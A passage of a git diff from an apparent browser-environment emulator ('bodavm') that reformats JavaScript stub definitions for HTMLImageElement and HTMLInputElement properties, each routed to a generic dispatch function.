bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "complete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "currentSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "lowsrc", {configurable:true, enumerable:true, get:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_get", arguments)}, set:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLImageElement', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_set", arguments)}},'prototype'); +// HTMLImageElement对象 + +bodavm.memory.globalobj['HTMLImageElement'] = function HTMLImageElement() { + console.log_copy('HTMLImageElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLImageElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLImageElement'], "HTMLImageElement"); +bodavm.memory.globalobj['HTMLImageElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLImageElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLImageElement', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "srcset", { + configurable: true, + enumerable: true, + get: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_get", arguments); + }, + set: function srcset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "srcset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "sizes", { + configurable: true, + enumerable: true, + get: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_get", arguments); + }, + set: function sizes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "sizes_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "crossOrigin", { + configurable: true, + enumerable: true, + get: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_get", arguments); + }, + set: function crossOrigin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "crossOrigin_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "isMap", { + configurable: true, + enumerable: true, + get: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_get", arguments); + }, + set: function isMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "isMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalWidth", { + configurable: true, + enumerable: true, + get: function naturalWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "naturalHeight", { + configurable: true, + enumerable: true, + get: function naturalHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "naturalHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "complete", { + configurable: true, + enumerable: true, + get: function complete() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "complete_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "currentSrc", { + configurable: true, + enumerable: true, + get: function currentSrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "currentSrc_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "decoding", { + configurable: true, + enumerable: true, + get: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_get", arguments); + }, + set: function decoding() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decoding_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "lowsrc", { + configurable: true, + enumerable: true, + get: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_get", arguments); + }, + set: function lowsrc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "lowsrc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "longDesc", { + configurable: true, + enumerable: true, + get: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_get", arguments); + }, + set: function longDesc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "longDesc_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "fetchPriority", { + configurable: true, + enumerable: true, + get: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_get", arguments); + }, + set: function fetchPriority() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "fetchPriority_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLImageElement', "loading", { + configurable: true, + enumerable: true, + get: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_get", arguments); + }, + set: function loading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLImageElement'].prototype, "HTMLImageElement", "loading_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLInputElement.js b/env_xbb_lastest_jsdom/env/HTMLInputElement.js index a1b4330f..8b6b2562 100644 --- a/env_xbb_lastest_jsdom/env/HTMLInputElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLInputElement.js @@ -1,62 +1,557 @@ -// HTMLInputElement对象 -bodavm.memory.globalobj['HTMLInputElement'] = function HTMLInputElement(){if (!(this instanceof HTMLInputElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLInputElement'], "HTMLInputElement"); -bodavm.memory.globalobj['HTMLInputElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLInputElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLInputElement', "accept", {configurable:true, enumerable:true, get:function accept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_get", arguments)}, set:function accept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "accept_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "autocomplete", {configurable:true, enumerable:true, get:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultChecked", {configurable:true, enumerable:true, get:function defaultChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_get", arguments)}, set:function defaultChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "checked", {configurable:true, enumerable:true, get:function checked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_get", arguments)}, set:function checked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "dirName", {configurable:true, enumerable:true, get:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_get", arguments)}, set:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_get", arguments)}, set:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formAction", {configurable:true, enumerable:true, get:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_get", arguments)}, set:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formEnctype", {configurable:true, enumerable:true, get:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_get", arguments)}, set:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formMethod", {configurable:true, enumerable:true, get:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_get", arguments)}, set:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formNoValidate", {configurable:true, enumerable:true, get:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_get", arguments)}, set:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formTarget", {configurable:true, enumerable:true, get:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_get", arguments)}, set:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "indeterminate", {configurable:true, enumerable:true, get:function indeterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_get", arguments)}, set:function indeterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "list", {configurable:true, enumerable:true, get:function list (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "list_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "maxLength", {configurable:true, enumerable:true, get:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_get", arguments)}, set:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "min", {configurable:true, enumerable:true, get:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_get", arguments)}, set:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "minLength", {configurable:true, enumerable:true, get:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_get", arguments)}, set:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "multiple", {configurable:true, enumerable:true, get:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_get", arguments)}, set:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "pattern", {configurable:true, enumerable:true, get:function pattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_get", arguments)}, set:function pattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "placeholder", {configurable:true, enumerable:true, get:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_get", arguments)}, set:function placeholder (){return 